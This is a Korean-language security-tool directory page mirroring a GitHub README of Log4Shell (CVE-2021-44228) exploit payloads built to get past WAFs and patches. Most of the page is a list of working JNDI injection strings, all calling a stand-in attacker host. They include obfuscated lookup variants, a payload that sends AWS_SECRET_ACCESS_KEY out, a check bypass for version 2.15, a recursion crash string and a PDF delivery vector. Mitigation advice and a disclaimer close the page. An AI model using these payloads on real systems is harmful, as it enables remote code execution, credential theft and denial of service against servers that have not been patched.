Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-44228-PoC-log4j-bypass-words — 🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java 익스플로잇 - WAF 우회 트릭 | Kitploit
도구/GitHubGitHub/puliczek/cve-2021-44228-poc-log4j-bypass-words
Payload GenerationVulnerability AnalysisExploitationIDS/IPS EvasionWeb Application ExploitationWAF BypassPenetration TestingLearning & EducationRed Teaming

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubpuliczek/cve-2021-44228-poc-log4j-bypass-words

CVE-2021-44228-PoC-log4j-bypass-words

🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java 익스플로잇 - WAF 우회 트릭

저장소 보기
9501344년 전Kitploit 검토 완료
🤝 지원을 표시하세요 - 콘텐츠가 마음에 들면 ⭐️를 눌러주세요 | 트위터에 공유 | 팔로우하기

🐱‍💻 ✂️ 🤬 LOG4J Java 익스플로잇 - WAF 및 패치 우회 트릭

📝 설명

CVE-2021-44228는 다음에서 작동합니다:

log4j: 2.0 <= Apache log4j <= 2.14.1

이미 패치된 Java 버전: 6u211+, 7u201+, 8u191+, 11.0.1+.

Windows Defender에서 jndi:ldap:....을 포함하는 .java 파일을 제거하기 시작했습니다.

간단한 공격자 스크립트 (가능한 RCE):

${jndi:ldap://somesitehackerofhell.com/z}

WAF 또는 개발자가 다음 구문을 차단하기 시작했습니다:

  • "ldap:"
  • "jndi:"

애플리케이션을 보호하기 위해.

그러나 공격자는 다음 기술 중 하나를 사용하여 이를 우회할 수 있습니다:

1. 시스템 환경 변수

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

Apache Log4j 2 문서에서: ${env:ENV_NAME:-default_value}

ENV_NAME 시스템 환경 변수가 없으면 :- 뒤의 텍스트를 사용합니다.

공격자는 ENV_NAME 대신 어떤 이름이든 사용할 수 있지만, 존재하지 않아야 합니다.

또는 해커가 환경 변수를 읽을 수 있습니다. 예: AWS_SECRET_ACCESS_KEY:

${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}

더 많은 비밀은 🦄🔒 환경 변수에 있는 비밀 목록 🖥️에서 확인하세요.

시스템 환경 변수를 확인할 수 있습니다:

  • Windows에서 PowerShell로 실행: dir env:
  • Linux/MacOS에서 터미널로 실행: printenv 또는 env

2. 소문자 또는 대문자 조회

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}

소문자 조회 (Lower Lookup) LowerLookup은 전달된 인수를 소문자로 변환합니다. 값은 중첩 조회의 결과일 것입니다.

${lower:<text>}

대문자 조회 (Upper Lookup) UpperLookup은 전달된 인수를 대문자로 변환합니다. 값은 중첩 조회의 결과일 것입니다.

${upper:<text>}


3. "::-" 표기법

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}


4. 대문자와 함께 유효하지 않은 유니코드 문자

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

ı가 i로 변환됩니다.


5. 시스템 속성

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

SYS_NAME 시스템 속성이 없으면 :- 뒤의 텍스트를 사용합니다.


6. ":-" 표기법

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}


7. 날짜

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}

Java 날짜 형식은 YYYY를 2021로 변환하지만, 'YYYY'를 YYYY로, 'j'를 j로 변환합니다.


8. HTML URL 인코딩

다음 문자를 바꿉니다:

  • } 를 %7D 로
  • { 를 %7B 로
  • $ 를 %24 로

자세한 내용은 HTML URL 인코딩 참조에서 확인하세요.


9. 존재하지 않는 조회

${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}

조회의 존재 여부를 확인하지 않고 기본값을 사용합니다.


10. 다형성 (JSON REST API 요청)


root@kitploit:~
{
    "one-${jnd${a":"a:-i}:ld${",
    "two":"o:-a}p://somesitehackerofhell.com/z}
}

"이 키와 값은 개별적으로는 공격을 나타내지 않지만, 모두 함께 사용하면 공격이며, 이 공격은 JSON 파서 때문에 탐지 시스템에 투명하게 보입니다." 자세히 읽기...


11. 유니코드 문자 (JSON REST API 요청)

${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}

일부 문자를 유니코드로 변환합니다.

유니코드 변환기 온라인


12. #을 사용한 트릭 (log4j 2.15에서 작동)

${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}

Log4J 2.15.0에서 allowedLdapHost 및 allowedClasses 검사를 우회합니다. java.net.URI getHost() 메서드는 # 앞의 값을 실제 호스트로 반환합니다. 그러나 JNDI/LDAP 리졸버는 전체 호스트 이름 문자열로 해석하여 악의적인 LDAP 서버에 연결을 시도합니다.

자세히 읽기...


13. Dos 공격 (log4j 2.8 - 2.16 - CVE-2021-45105에서 작동)

${${::-${::-$${::-j}}}}

어떤 이유로든 다음 문자열에 대해 문자열 대체가 시도되면 무한 재귀를 유발하여 애플리케이션이 충돌합니다.

자세히 읽기...


14. PDF를 전달 채널로 사용

CVE-2021-44228을 악용하기 위해 특수 PDF 파일을 제작합니다.

PDF 예시

PDF 파일 받기 및 자세히 읽기...

테스트

엔트리를 테스트하려면 다음을 사용할 수 있습니다:

  • https://canarytokens.org/generate - Log4Shell 토큰 선택 (알림은 이메일 또는 웹훅으로 전송됨), 생성 후 somesitehackerofhell.com/z를 바꿉니다.
  • https://dnslog.cn/ - 서브도메인을 생성하고 somesitehackerofhell.com/z를 바꿉니다.

✨ CVE-2021-44228로부터 보호하는 최고의 해결책

tl;dr log4j-2.17.1 이상으로 업데이트하세요.

Log4j 1.x 완화: Log4j 1.x에는 Lookups가 없으므로 위험이 낮습니다. Log4j 1.x를 사용하는 애플리케이션은 구성에서 JNDI를 사용하는 경우에만 이 공격에 취약합니다. 이 취약점에 대해 별도의 CVE(CVE-2021-4104)가 등록되었습니다. 완화 방법: 로깅 구성을 감사하여 JMSAppender가 구성되어 있지 않은지 확인하세요. JMSAppender가 없는 Log4j 1.x 구성은 이 취약점의 영향을 받지 않습니다.

Log4j 2.x 완화: 아래 완화 기법 중 하나를 구현하세요.

  • Java 8(또는 그 이상) 사용자는 릴리스 2.17.1로 업그레이드해야 합니다.
  • Java 7이 필요한 사용자는 릴리스 2.12.4가 제공될 때 업그레이드해야 합니다(작업 진행 중, 곧 제공될 예정).
  • 그렇지 않으면, 클래스패스에서 JndiLookup 클래스를 제거하세요: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 및 HTTP 헤더나 사용자 입력과 같은 애플리케이션 외부 출처에서 오는 ${ctx:loginId} 또는 $${ctx:loginId}와 같은 Context Lookups에 대한 참조를 제거하세요.

log4j-core JAR 파일만 이 취약점의 영향을 받습니다. log4j-api JAR 파일만 사용하고 log4j-core JAR 파일 없이 사용하는 애플리케이션은 이 취약점의 영향을 받지 않습니다.

출처 및 자세히 읽기

안전하게 유지하세요!

🤝 지원을 표시하세요

🤝 지원을 표시하세요 - 콘텐츠 또는 밈이 마음에 들면 ⭐️를 눌러주세요 | 트위터에 공유 | 팔로우하기

log2

📝 유용한 링크

  • Apache Log4j 2 v. 2.15.0 - 사용자 가이드
  • lower/upper 우회의 첫 번째 공개 가능
  • CVE-2021-44228 (Apache Log4j 원격 코드 실행)
  • HTML URL 인코딩 참조
  • GitHub 검토 CVE-2021-44228 - Log4j의 원격 코드 주입
  • Apache Log4j 보안 취약점
  • 프로그램 log4j-detector - CVE-2021-44228 및 CVE-2021-45046에 취약한 Log4J 버전을 파일 시스템 내에서 탐지합니다.
  • 유효한 JSON REST API 요청인 다형성 Log4J 익스플로잇
  • 데이터 포맷 난독화를 사용한 NGFW/WAF 우회
  • LOG4J2-3230 특정 문자열이 무한 재귀를 유발할 수 있음
  • Log4J 2.15.0에서 allowedLdapHost 및 allowedClasses 검사를 우회하는 방법의 PoC
  • 🦄🔒 환경 변수에 있는 비밀 목록 🖥️
  • PDF를 전달 채널로 사용한 CVE-2021-44228 악용 - PoC

🙌 기여해 주신 사용자분들께 감사드립니다

  • 모든 기여자
  • Whatsec - 추가 우회 예제 제공
  • manjula-aw - 보안 섹션 개선
  • juliusmusseau - 추가 우회 예제 제공

✔️ 면책 조항

이 프로젝트는 교육 목적으로만 사용될 수 있습니다. 사전 허가 없이 대상 시스템에 대해 이 소프트웨어를 사용하는 것은 불법이며, 이 소프트웨어의 오용으로 인한 손해에 대해 저자는 책임을 지지 않습니다.

저자는 CVE-2021-44228 및 일부 우회 기법의 작성자가 아닙니다.

도구 다운로드